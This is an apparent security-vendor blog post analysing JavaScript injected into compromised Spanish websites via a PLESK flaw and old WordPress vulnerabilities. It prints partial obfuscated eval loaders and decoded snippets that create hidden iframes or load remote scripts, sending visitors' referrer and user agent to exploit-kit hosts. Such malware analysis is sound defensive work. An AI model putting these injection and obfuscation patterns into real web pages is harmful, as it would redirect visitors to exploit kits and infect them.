The Latest in IT Security

Who is attacking me?


Browsing is a risky activity from a security point of view. The good old times when we could identify a bunch of suspicious sites and avoid them are gone forever. Massive infections of websites are common nowadays, blindly infecting as many sites as possible. Once these sites are compromised, the access is usually sold to cybercriminals. At this point the site hosts malware or redirects victims to some exploit kit.

We have seen this hundreds of times, for example the recent example such as the distribution of Flashfake through compromised WordPress blogs.

Thanks to KSN we have nice stats of the sites browsed by our customers and detected as malicious. And thanks to KIS/KAV protection, users can happily continue browsing without further inconvenience.

I have been analyzing compromised sites with ES TLD during the last month, wondering what the most dangerous sites for Spanish users are. These are the top 5 verdicts:

  • Trojan.Script.Generic
  • Trojan.Script.Iframer
  • Trojan-Downloader.HTML.IFrame.agc

Checking the results, almost all the malicious detections occur in JS files, basically JS tricks to redirect the user to malicious sites. It seems that adding an IFRAME into the HTML code is not so fashionable these days.

Checking the top detected sites, it is interesting how 2 of the top 3 are related to ADs distribution. This is especially worrisome, as these ADs can be shown in any other site.

The verdict is given mostly by our heuristic engine, so I was curious about the malicious code itself. I downloaded all the detected JS files and took a look. The results were quite interesting.

  • Most of the JS code analyzed are legitimate files modified, i.e. no new files are created on the compromised host.
  • Usually the modified code is appended to the end of the legitimate file.
  • There are only a few different malicious codes in the hundreds of infected sites. So we can relate these infections to different malicious campaigns. Here you can see the results of my analysis:

    You can see how family1 and family2 are responsible of more than 75% of infections. Let?s check them out:

    Family 1:

    Malicious code injected:

    /*km0ae9gr6m*/try{q=document.createElement(“p”);q.appendChild(q+””);}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?(“fromCharC”+”ode”):””;e=window[“e”+”val”];n=[102,234,330, –(more code here)- {k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/

    Basically, this code creates an Iframe to a RU domain using a pseudo random number generator:

    try { if (typeof iframeWasCreated == “undefined”) { iframeWasCreated = true; var unix = Math.round(+new Date() / 1000); var domainName = generatePseudoRandomString(unix, 16, ‘ru’); ifrm = document.createElement(“IFRAME”); ifrm.setAttribute(“src”, “http://” + domainName + “/runforestrun?sid=cx”); = “0px”; = “0px”; = “hidden”; document.body.appendChild(ifrm); }

    These sites host the BlackHole Exploit Kit.

    But the most interesting thing to me is how all these sites got infected. They have no common pattern in the technology they use. Searching on forums you may easily find how the attack made by injecting this code was performed recently using a recent problem in PLESK.

    This Control Panel has been abused to inject the malicious code into some JS files.

    You can find more details about this attack here.

    Apparently this campaign was run in June.

    Family 2:

    In this case there is not a single injection, but several of them using a common pattern. The injected code is as follows:

    var _0x4470=[“\x39\ \x67”];eval(function (_0xa064x1,_0xa064x — more code here — 2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

    You may notice the name of the variable. The pattern ‘var _0x’ is found in different infected JS files. Not surprisingly it is redirecting the user to a malicious website:

    eval element=document.getElementById(‘dgllhguk’);if(!element){hghjghjhjgjh=document.location;hghjhjhjg=escape(document.referrer);ugkkjkj=escape(navigator.userAgent);var js=document.createElement(‘script’);’dgllhguk’;js.src=’http://91.196.X.X/s.php?ref=’+hghjhjhjg+’&lc=’+hghjghjhjgjh+’&ua=’+ugkkjkj;var head=document.getElementsByTagName(‘head’)[0];head.appendChild(js)}

    Again the question is: How did the infection happen? It seems that the group behind these infections has been using some old WordPress and plugin vulnerabilities. In this case, instead of a single JS file, it is more common to inject the code in every single JS found on the compromised site.

    And infected sites again redirect victims to the BlackHole Exploit kit.

    Apparently this campaign was run in April.

    Some conclusions

    We can see here two examples on how a website may be infected by automated attacks. The first vulnerability was in the Control Panel software, the second one in the CMS and plugins used.

    WordPress vulnerabilities are quite old, so probably the system administrators could have done something more to prevent their sites being compromised.

    During last month these campaigns tried to infect 7,000 different users. This number is not significant, the important number is the number of non-protected visitors the infected sites got last month. We don?t know this number.

    This is an example of the impact massive infection campaigns have over the users and legitimate sites. We may find similar examples on any given TLD.

    Finally, a message for website admins: I know it?s a hard job, I really know, but do not underestimate the potential for trouble from EVERY vulnerability in ANY software you use in your systems.

    As a final note, I?m looking forward to check next month stats and see how many of these infected sites appear as clean.

Leave a reply


MONDAY, JULY 15, 2024

Mission-Critical Broadband – Why Governments Should Partner with Commercial Operators:
Many governments embrace mobile network operator (MNO) networks as ...

ARA at Scale: How to Choose a Solution That Grows With Your Needs:
Application release automation (ARA) tools enable best practices in...

The Multi-Model Database:
Part of the “new normal” where data and cloud applications are ...



Latest Comments